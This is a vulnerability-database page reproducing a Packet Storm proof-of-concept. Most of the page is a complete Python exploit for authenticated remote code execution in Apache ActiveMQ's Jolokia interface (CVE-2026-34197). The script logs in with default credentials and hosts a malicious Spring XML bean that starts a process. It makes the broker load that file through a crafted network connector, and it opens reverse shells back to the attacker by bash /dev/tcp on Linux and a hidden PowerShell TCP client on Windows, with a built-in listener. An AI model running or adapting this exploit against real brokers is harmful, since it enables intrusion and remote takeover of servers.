Lucene search
K

📄 Apache ActiveMQ Jolokia Remote Code Execution

🗓️ 01 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 46 Views

POC tool tests authenticated Jolokia remote code execution on Apache ActiveMQ brokers across vulnerable versions.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
6 Jun 202612:39
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202614:36
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
8 May 202605:39
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202620:07
githubexploit
GithubExploit
Exploit for CVE-2026-34197
14 Apr 202620:44
githubexploit
GithubExploit
Exploit for CVE-2026-34197
9 Apr 202609:44
githubexploit
GithubExploit
Exploit for Improper Input Validation in Apache Activemq
18 May 202603:30
githubexploit
GithubExploit
Exploit for CVE-2026-34197
8 Apr 202609:18
githubexploit
GithubExploit
Exploit for CVE-2026-34197
10 Apr 202601:29
githubexploit
Tenable Nessus
Apache ActiveMQ < 5.19.6 / 6.x < 6.2.5 Multiple Vulnerabilities
30 Apr 202600:00
nessus
Rows per page
==================================================================================================================================
    | # Title     : Apache ActiveMQ Jolokia Management Interface – Authenticated Remote Code Execution Assessment Tool               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://jolokia.org/                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    : a proof-of-concept security research tool that evaluates a potential authenticated remote code execution (RCE) pathway through the Jolokia management interface exposed by Apache ActiveMQ. 
                     The tool authenticates to the broker, discovers configuration details, interacts with JMX operations exposed via Jolokia,
                     and attempts to determine whether management functionality can be abused to trigger execution of externally supplied configurations.
    				 
    [+] POC        : python 1.py -t 192.168.1.100 -p 8161 -u admin -P admin --lhost 192.168.1.50 --platform linux
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import time
    import random
    import string
    import argparse
    import threading
    from http.server import HTTPServer, BaseHTTPRequestHandler
    from urllib.parse import urlparse, urljoin
    import os
    
    class ActiveMQExploit:
        def __init__(self, target_host, target_port=8161, username='admin', password='admin', 
                     target_uri='/', ssl=False, broker_name=None, lhost=None, lport=4444):
            """
            Initialize the ActiveMQ exploit
            """
            self.target_host = target_host
            self.target_port = target_port
            self.username = username
            self.password = password
            self.target_uri = target_uri.rstrip('/')
            self.ssl = ssl
            self.broker_name = broker_name
            self.lhost = lhost
            self.lport = lport
            self.http_server = None
            self.server_thread = None
            self.payload_executed = False
            protocol = 'https' if ssl else 'http'
            self.base_url = f"{protocol}://{target_host}:{target_port}{self.target_uri}"
            self.session = requests.Session()
            self.session.auth = (username, password)
            
        def random_string(self, length=8):
            """Generate random string"""
            return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
        
        def detect_broker_name(self):
            """Auto-detect broker name if not provided"""
            if self.broker_name:
                print(f"[*] Using provided broker name: {self.broker_name}")
                return self.broker_name
                
            print("[*] Attempting to detect broker name...")
            jolokia_url = urljoin(self.base_url, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*')
            
            try:
                response = self.session.get(jolokia_url, timeout=10)
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get('status') == 200 and data.get('value'):
                        for mbean in data['value'].keys():
                            for part in mbean.split(','):
                                if part.startswith('brokerName='):
                                    name = part.split('=', 1)[1]
                                    print(f"[+] Detected broker name: {name}")
                                    return name
                
                print(f"[-] Could not detect broker name, using default 'localhost'")
                return 'localhost'
                
            except Exception as e:
                print(f"[-] Error detecting broker name: {e}")
                return 'localhost'
        
        def remove_network_connector(self, broker_name, connector_name='NC'):
            """Remove existing network connector (cleanup)"""
            print(f"[*] Attempting to remove existing connector: {connector_name}")
            
            jolokia_url = urljoin(self.base_url, '/api/jolokia/')
            
            body = {
                'type': 'exec',
                'mbean': f"org.apache.activemq:type=Broker,brokerName={broker_name}",
                'operation': 'removeNetworkConnector(java.lang.String)',
                'arguments': [connector_name]
            }
            
            try:
                response = self.session.post(
                    jolokia_url,
                    json=body,
                    headers={'Content-Type': 'application/json'},
                    timeout=10
                )
                
                if response.status_code == 200:
                    print(f"[+] Successfully removed connector '{connector_name}'")
                else:
                    print(f"[!] Connector '{connector_name}' not found or already removed")
                    
            except Exception as e:
                print(f"[!] Error removing connector: {e}")
        
        def check_authentication(self):
            """Check if authentication is working"""
            print("[*] Checking authentication...")
            
            jolokia_url = urljoin(self.base_url, '/api/jolokia/')
            
            try:
                response = self.session.get(jolokia_url, timeout=10)
                
                if response.status_code == 200:
                    data = response.json()
                    agent = data.get('value', {}).get('agent', 'unknown')
                    print(f"[+] Authentication successful! Jolokia agent version: {agent}")
                    return True
                elif response.status_code == 401:
                    print(f"[-] Authentication failed! Invalid credentials: {self.username}:{self.password}")
                    return False
                elif response.status_code == 403:
                    print("[-] Jolokia access forbidden (403)")
                    return False
                else:
                    print(f"[-] Unexpected HTTP status: {response.status_code}")
                    return False
                    
            except Exception as e:
                print(f"[-] Connection error: {e}")
                return False
        
        def generate_payload(self, platform):
            """Generate payload based on platform"""
            if platform == 'win':
                payload = f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('{self.lhost}',{self.lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""
                shell = 'cmd.exe'
                flag = '/c'
            else:
                payload = f"bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"
                shell = '/bin/sh'
                flag = '-c'
            
            return shell, flag, payload
        
        def create_malicious_xml(self, platform):
            """Create malicious Spring XML payload"""
            bean_id = self.random_string(8)
            shell, flag, command = self.generate_payload(platform)
            
            xml_template = f'''<?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="{bean_id}" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>{shell}</value>
            <value>{flag}</value>
            <value><![CDATA[{command}]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>'''
            
            return xml_template
        
        def exploit(self, platform='linux', reverse_port=None):
            """Main exploit function"""
            print("\n" + "="*60)
            print("Apache ActiveMQ RCE via Jolokia (CVE-2026-34197)")
            print("="*60 + "\n")
            if not self.check_authentication():
                print("[-] Authentication failed. Exiting...")
                return False
            broker_name = self.detect_broker_name()
            self.remove_network_connector(broker_name)
            if not self.start_http_server(platform):
                print("[-] Failed to start HTTP server")
                return False
            connector_id = self.random_string(8)
            malicious_uri = f"static:(vm://{self.random_string(8)}?brokerConfig=xbean:http://{self.lhost}:{self.http_server_port}/payload.xml)"
            
            print(f"[*] Malicious URI: {malicious_uri}")
            jolokia_url = urljoin(self.base_url, '/api/jolokia/')
            
            exploit_body = {
                'type': 'exec',
                'mbean': f"org.apache.activemq:type=Broker,brokerName={broker_name}",
                'operation': 'addNetworkConnector(java.lang.String)',
                'arguments': [malicious_uri]
            }
            
            print(f"[*] Sending exploit request to {self.target_host}:{self.target_port}")
            
            try:
                response = self.session.post(
                    jolokia_url,
                    json=exploit_body,
                    headers={'Content-Type': 'application/json'},
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get('status') == 200:
                        print("[+] Exploit accepted by Jolokia!")
                    else:
                        print(f"[!] Jolokia returned status {data.get('status')}: {data.get('error', 'Unknown error')}")
                elif response.status_code == 401:
                    print("[-] Authentication failed during exploit")
                    return False
                else:
                    print(f"[*] Unexpected response: {response.status_code} (continuing anyway)")
                    
            except requests.exceptions.Timeout:
                print("[*] Request timed out - This is expected if the payload executed successfully")
            except Exception as e:
                print(f"[!] Error sending exploit: {e}")
            
            print("\n[*] Waiting for payload execution...")
            print(f"[*] Make sure to listen on port {self.lport if reverse_port else self.http_server_port}")
            print("[*] Check your netcat listener for the reverse shell")
            while not self.payload_executed:
                time.sleep(1)
            
            return True
        
        class ExploitHTTPHandler(BaseHTTPRequestHandler):
            """Custom HTTP handler to serve malicious XML"""
            
            parent = None
            
            def log_message(self, format, *args):
                pass
            
            def do_GET(self):
                if self.path == '/payload.xml':
                    self.send_response(200)
                    self.send_header('Content-Type', 'application/xml')
                    self.send_header('Connection', 'close')
                    self.end_headers()
                    self.wfile.write(self.server.xml_content.encode('utf-8'))
                    print("[+] Serving malicious Spring XML to target!")
                    if self.server.parent:
                        self.server.parent.payload_executed = True
                else:
                    self.send_response(404)
                    self.end_headers()
            
            def do_POST(self):
                self.do_GET()
        
        def start_http_server(self, platform):
            """Start HTTP server to host malicious XML"""
            try:
                self.http_server_port = 8080  
                self.xml_content = self.create_malicious_xml(platform)
                self.server = HTTPServer(('0.0.0.0', self.http_server_port), self.ExploitHTTPHandler)
                self.server.xml_content = self.xml_content
                self.server.parent = self
                self.server_thread = threading.Thread(target=self.server.serve_forever)
                self.server_thread.daemon = True
                self.server_thread.start()
                
                print(f"[+] HTTP server started on port {self.http_server_port}")
                print(f"[+] Hosting malicious XML at: http://{self.lhost}:{self.http_server_port}/payload.xml")
                return True
                
            except Exception as e:
                print(f"[-] Failed to start HTTP server: {e}")
                return False
        
        def stop_http_server(self):
            """Stop the HTTP server"""
            if hasattr(self, 'server'):
                print("[*] Stopping HTTP server...")
                self.server.shutdown()
                self.server.server_close()
                self.server_thread.join()
    
    class NetcatListener:
        """Simple netcat listener for reverse shells"""
        @staticmethod
        def start_listener(port):
            import socket
            import threading
            
            def handle_client(client_socket, address):
                print(f"[+] Connection from {address}")
                while True:
                    try:
                        data = client_socket.recv(1024)
                        if not data:
                            break
                        print(data.decode('utf-8', errors='ignore'), end='')
                        cmd = input()
                        client_socket.send((cmd + '\n').encode())
                    except:
                        break
                client_socket.close()
            
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server.bind(('0.0.0.0', port))
            server.listen(5)
            print(f"[*] Listening for reverse shell on port {port}...")
            
            while True:
                client, addr = server.accept()
                thread = threading.Thread(target=handle_client, args=(client, addr))
                thread.start()
    
    def main():
        parser = argparse.ArgumentParser(description='Apache ActiveMQ RCE Exploit (CVE-2026-34197)')
        parser.add_argument('-t', '--target', required=True, help='Target host (IP or domain)')
        parser.add_argument('-p', '--port', type=int, default=8161, help='Target port (default: 8161)')
        parser.add_argument('-u', '--username', default='admin', help='Jolokia username (default: admin)')
        parser.add_argument('-P', '--password', default='admin', help='Jolokia password (default: admin)')
        parser.add_argument('--ssl', action='store_true', help='Use HTTPS')
        parser.add_argument('--broker-name', help='Broker name (auto-detected if not provided)')
        parser.add_argument('--platform', choices=['linux', 'win'], default='linux', help='Target platform (default: linux)')
        parser.add_argument('--lhost', required=True, help='Local host for reverse shell and HTTP server')
        parser.add_argument('--lport', type=int, default=4444, help='Local port for reverse shell (default: 4444)')
        parser.add_argument('--http-port', type=int, default=8080, help='HTTP server port (default: 8080)')
        
        args = parser.parse_args()
        
        print("""
        ╔═══════════════════════════════════════════════════════════╗
        ║    Apache ActiveMQ RCE Exploit (CVE-2026-34197)           ║
        ║            Python Port - by indoushka                     ║
        ╚═══════════════════════════════════════════════════════════╝
        """)
    
        exploit = ActiveMQExploit(
            target_host=args.target,
            target_port=args.port,
            username=args.username,
            password=args.password,
            ssl=args.ssl,
            broker_name=args.broker_name,
            lhost=args.lhost,
            lport=args.lport
        )
        exploit.http_server_port = args.http_port
        listener_thread = threading.Thread(target=NetcatListener.start_listener, args=(args.lport,))
        listener_thread.daemon = True
        listener_thread.start()
        try:
            exploit.exploit(platform=args.platform)
            while True:
                time.sleep(1)
                
        except KeyboardInterrupt:
            print("\n[!] Interrupted by user")
            exploit.stop_http_server()
            sys.exit(0)
    
    if __name__ == '__main__':
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation